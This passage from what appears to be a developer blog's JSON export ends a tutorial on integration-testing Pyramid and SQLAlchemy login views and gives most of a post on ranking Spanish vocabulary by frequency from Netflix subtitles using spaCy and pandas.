self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.config \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e testing.setUp()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e super\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(IntegrationTestBase, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e).setUp()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIn setUpClass, we run the main function of the applications\n__init__.py that sets up the WSGI application and then we wrap it in\na TestApp that gives us the ability to call get/post on it.\u003c/p\u003e\n\u003cp\u003eHere is an example of it in use:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e TestViews\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eIntegrationTestBase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e test_get_login\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\" Call the login view, make sure routes are working \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.app.get(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.assertEqual(res.status_int, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e test_empty_login\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\" Empty login fails \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.app.post(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, {\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'submit'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e})\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"There was a problem with your submission\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res.body\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Required\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res.body\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res.status_int \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 200\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e test_valid_login\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\" Call the login view, make sure routes are working \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e admin \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e User(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eusername\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003epassword\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'admin'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e admin.activated \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e True\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.session.add(admin)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.session.flush()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.app.get(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e csrf \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res.form.fields[\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e][\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e].value\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.app.post(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'submit'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Username'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Password'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'csrf_token'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: csrf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e res.status_int \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 302\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eProblems with this approach\u003c/h1\u003e\n\u003cp\u003eIf a test causes an error that will prevent the transaction from rolling\nback, such as closing the engine, then this approach will leave your\ndatabase in a state that might cause other tests to fail.\u003c/p\u003e\n\u003cp\u003eIf this happens tracing the root cause could be difficult but you should\nbe able to just look at the first failed test unless you are running the\ntests in parallel.\u003c/p\u003e\n\u003cp\u003eIf you are good about writing and running your tests regularly you\nshould be able to catch individual tests causing issues like this fairly\nquickly.\u003c/p\u003e\n\u003ch1\u003eResources\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"http://docs.pylonsproject.org/projects/pyramid/en/latest/narr/testing.html\"\u003ehttp://docs.pylonsproject.org/projects/pyramid/en/latest/narr/testing.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.sqlalchemy.org/docs/orm/session.html#joining-a-session-into-an-external-transaction\"\u003ehttp://www.sqlalchemy.org/docs/orm/session.html#joining-a-session-into-an-external-transaction\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJohn Anderson \u0026#x3C;\u003ca href=\"mailto:sontek@gmail.com\"\u003esontek@gmail.com\u003c/a\u003e\u003e 2011\u003c/p\u003e","category":"Python","date":"2011-12-01T00:00:00Z","tags":["Python"],"title":"Writing tests for Pyramid and SQLAlchemy"}]},"Pandas":{"count":1,"posts":[{"id":["2022","learning_spanish"],"path":"2022/learning_spanish","contentHtml":"\u003cp\u003eI have been living in Puerto Rico for 4 years but two of those have been COVID and so I have not been able to practice Spanish as much as I would like. So to speed up my learning I have decided I want to watch a lot of spanish speaking television to start training my ears, but to do this I need a baseline of words I understand to be able to even know what they are saying!\u003c/p\u003e\n\u003cp\u003eLearning through apps like Duolingo, Drops, etc start with weird topics like vegetables that do not get you to a very good baseline for actually understanding daily conversations, so I think consuming TV is a better use of my time.\u003c/p\u003e\n\u003ch2\u003eSubtitles\u003c/h2\u003e\n\u003cp\u003eI have decided the way to understand what the best words to study are is to download every subtitle for every episode of a show I want to watch and then count each word. The more a word is spoken the more important it is for me to know it since I will be hearing it a lot in the show.\u003c/p\u003e\n\u003cp\u003eI am going to download subtitles from Netflix. Subtitles in Netflix are in WebVTT format, which looks like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e248\n00:17:58.285 --\u003e 00:18:01.163 position:50.00%,middle align:middle size:80.00% line:79.33% \nYo de verdad espero que ustedes\nme vean como una amiga, ¿mmm?\n\n249\n00:18:01.247 --\u003e 00:18:02.539 position:50.00%,middle align:middle size:80.00% line:84.67% \nNo como una madrastra.\n\n250\n00:18:04.250 --\u003e 00:18:06.127 position:50.00%,middle align:middle size:80.00% line:84.67% \nYo nunca te vi como una madrastra.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIt gives you a start time, end time, and the text on the screen. So my first process was parsing this format and just turning it into a list of words using https://github.com/glut23/webvtt-py.\u003c/p\u003e\n\u003ch3\u003eDummy parsing\u003c/h3\u003e\n\u003cp\u003eWhat I basically did was \u003ccode\u003etext.split(\" \")\u003c/code\u003e and started counting the words. This approach was quick and painless but it had a few downsides. Some words \u003cem\u003elook\u003c/em\u003e the same when in reality they are not and so this meant I would have to study every meaning of a word even if it was more rare.\u003c/p\u003e\n\u003cp\u003eAn example of this is the word \"como\", you can say:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHaz como te digo: \"Do as I say\", where como means \"as\"\u003c/li\u003e\n\u003cli\u003ecomo tacos todos los dias: \"I eat tacos every day\", where como is a conjugated form of the verb \"to eat\"\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI need to know which version of a word is being used so I can count it properly.\u003c/p\u003e\n\u003ch3\u003eRegular Expressions are always the answer\u003c/h3\u003e\n\u003cp\u003eI could not figure out what the word was without it being in a complete sentence, but subtitles are fragments. They are split up into timings for displaying on the screen but they do not include entire sentences. For example, it might look like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e23\n00:01:21.960 --\u003e 00:01:23.520 position:50.00%,middle align:middle size:80.00% line:84.67% \nSolo las que luchan por ellos\n\n24\n00:01:23.680 --\u003e 00:01:25.680 position:50.00%,middle align:middle size:80.00% line:84.67% \nconsiguen sus sueños.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eI want to detect the start of a sentence and the end of a sentence and then combine it, so that you end up with \"Solo las que luchan por ellos consiguen sus sueños.\". My first thought was a regular expression on punctuation. This worked well \u003cem\u003emost\u003c/em\u003e of the time but there were enough exceptions to the rule that it broke often and generated a lot of broken sentences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAbbreviations like \"EE. UU\" for estados unidos (united states)\u003c/li\u003e\n\u003cli\u003eEllipsis\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSplitting on spaces also did not work for identifying the parts of speech since I needed the context around the word.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/regex-extraction.png\"\u003e\n\u003c/center\u003e\n\u003ch2\u003eNatural Language Processing\u003c/h2\u003e\n\u003cp\u003eSo to solve my pain I decided to grab https://spacy.io/ and do some NLP on the subtitles so that I could identify the proper parts of speech and get an accurate representation of the words I needed to learn.\u003c/p\u003e\n\u003cp\u003eThe way spaCy works is you can send it a sentence and it will return you a set of tokens:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u003e\u003e\u003e import spacy\n\u003e\u003e\u003e nlp = spacy.load(\"es_core_news_sm\")\n\u003e\u003e\u003e [x.pos_ for x in nlp(\"Hola, como estas?\")]\n['PROPN', 'PUNCT', 'SCONJ', 'PRON', 'PUNCT']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo now I could identify the parts of speech and pull sentences together through end of sentence punctuation. The first thing I did was generate a CSV of sentences that looked like this:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003esentence\u003c/th\u003e\n\u003cth\u003estart\u003c/th\u003e\n\u003cth\u003eend\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSi no, le voy a cortar todos los deditos\u003c/td\u003e\n\u003ctd\u003e00:00:20.605\u003c/td\u003e\n\u003ctd\u003e00:00:24.125\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eOnce I had a CSV of sentences I could send those back through spaCy for NLP and then start counting words, to generate another CSV:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eword\u003c/th\u003e\n\u003cth\u003epos\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ea\u003c/td\u003e\n\u003ctd\u003eADP\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecortar\u003c/td\u003e\n\u003ctd\u003eVERB\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etodos\u003c/td\u003e\n\u003ctd\u003ePRON\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eFrom there I had all the data I needed! So now it was time to start doing some data analysis!\u003c/p\u003e\n\u003ch2\u003eData analysis\u003c/h2\u003e\n\u003cp\u003eUsing a jupyter notebook ( https://jupyter.org/ ) I grabbed pandas ( https://pandas.pydata.org/ ) and read in my CSVs to start analyzing the results.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\npd.set_option('display.max_rows', 1000)\nwords = pd.read_csv('word_data.csv.gz', compression='gzip', delimiter=',')\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe words dataframe is built up out of the second table I showed above with just words and their parts of speech. I started off grouping the dataset by the word so I could get a count for how many times it was spoken in every series I parsed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egrouped_result = (words.groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\ngrouped_result.head(300)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich returned a list of words and their count:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\tword\tcount\n0\tque\t94430\n1\tno\t75931\n2\ta\t70968\n3\tde\t67982\n4\tser\t64226\n5\tla\t52143\n6\ty\t44390\n7\testar\t37819\n8\tel\t35920\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow I wanted to identify where my diminishing returns would be. Is there a set of words that I must learn because they are spoken so often that I would not understand a conversation if they were not in my vocabulary?\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_returns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eAs you can see in this chart, the usage for words drops off at around the ~200 mark. So there are basically 150 words I \u003cem\u003emust\u003c/em\u003e know and then the rest are equally important. I was not quite happy with this because some parts of speech are higher priority than others, for example I think having a strong understanding of the popular verbs will go a long way. So I also wanted to identify what are the most important verbs to learn:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egrouped_verbs = (words[words.pos == 'VERB'].groupby(['word', 'pos']).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\ngrouped_verbs.head(50)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich got me this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\tword\tpos\tcount\n0\ttener\tVERB\t22072\n1\thacer\tVERB\t14946\n2\tir\tVERB\t12570\n3\tdecir\tVERB\t11314\n4\tquerer\tVERB\t11083\n5\tver\tVERB\t10269\n6\testar\tVERB\t9780\n7\tsaber\tVERB\t8704\n8\tser\tVERB\t7674\n9\tdar\tVERB\t5722\n10\tpasar\tVERB\t5528\n11\thablar\tVERB\t5355\n12\tvenir\tVERB\t5145\n13\tcreer\tVERB\t4895\n14\tsalir \tVERB\t3395\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerbs had a slightly different drop-off pattern when I targeted them directly:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_verbs.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eI get a big bang for my buck by learning those top 40 verbs. Nouns on the other hand are much more spread out and most are evenly distributed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eword\tpos\tcount\n0\tgracias\tNOUN\t4676\n1\tfavor\tNOUN\t4625\n2\tseñor\tNOUN\t4116\n3\tverdad\tNOUN\t3566\n4\tvida\tNOUN\t2673\n5\thombre\tNOUN\t2601\n6\tmadre\tNOUN\t2597\n7\tvez\tNOUN\t2537\n8\ttiempo\tNOUN\t2492\n9\thijo\tNOUN\t2215\n\u003c/code\u003e\u003c/pre\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_nouns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eSo then I thought to myself... How much of a show would I understand if I just learned these most important words? So I started by excluding some of the easy parts of speech and focused on the most important:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efind_important_words = (words[~words.pos.isin(['PRON', 'CONJ', 'ADP', 'ADV', 'SCONJ', 'AUX', 'INTJ'])].groupby(['word', 'pos']).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\nfind_important_words.head(50)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe top 20 were all verbs except for \u003ccode\u003ebueno\u003c/code\u003e and \u003ccode\u003egracias\u003c/code\u003e. So now with my list of what I considered \"important words\" I plotted it to find what amount of words I wanted to learn:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/important_words.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eIt looks like 200 learned words would give me a reasonable amount of understanding for a series, so I decided to calculate how much of a series I would understand if I learned just those first 200 words:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epercentages = {}\n\nfor show_name in words['media'].drop_duplicates().values:\n words_in_show = (words[words.media == show_name].groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n \n total_words_handled = 0\n\n for word in grouped_result['word'][:200]:\n values = words_in_show[words_in_show.word == word]['count'].values\n\n if values.size \u003e 0:\n total_words_handled += values[0]\n\n percentages[show_name] = total_words_handled / words_in_show.sum().loc['count']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow I had a table that would show me what percentage of the spoken words were covered by the first 200 words in my list:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ep_df = pd.DataFrame(percentages.items(), columns=['show', 'percentage'])\np_df = p_df.sort_values(by='percentage')\np_df['percentage'] = p_df['percentage'] * 100\npd.options.display.float_format = '{:,.2f}%'.format\np_df\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eShow\u003c/th\u003e\n\u003cth\u003ePercentage\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e64.24%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e65.28%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e66.68%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e66.89%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e67.56%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e68.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e68.19%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e68.47%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e68.59%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e70.20%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e70.95\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e71.52%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e73.15%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e73.58%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e73.78%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e74.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e74.07%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e75.40%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e75.59%\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eBut living in Puerto Rico, one thing I have realized is speed of speech is also important. I have a much easier time speaking with people from Colombia and Mexico than I do with Puerto Ricans because they speak so much faster. So even though I could understand 75% of \"Tarde para la ira\" if I learned the 200 words, I want to make sure they are speaking at a pace I could understand as well.\u003c/p\u003e\n\u003cp\u003eSo I loaded up the other CSV file that was the full sentences and added a \"time per word\" column:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esentences = pd.read_csv('sentences.csv.gz', compression='gzip', delimiter=',', parse_dates=['start', 'end'])\nsentences['total_time'] = (sentences['end'] - sentences['start']).dt.total_seconds()\nsentences['word_count'] = sentences['sentence'].str.split().str.len()\nsentences['time_per_word'] = sentences['total_time'] / sentences['word_count']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen I was able to have a speed rating for each show:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esentence_group = 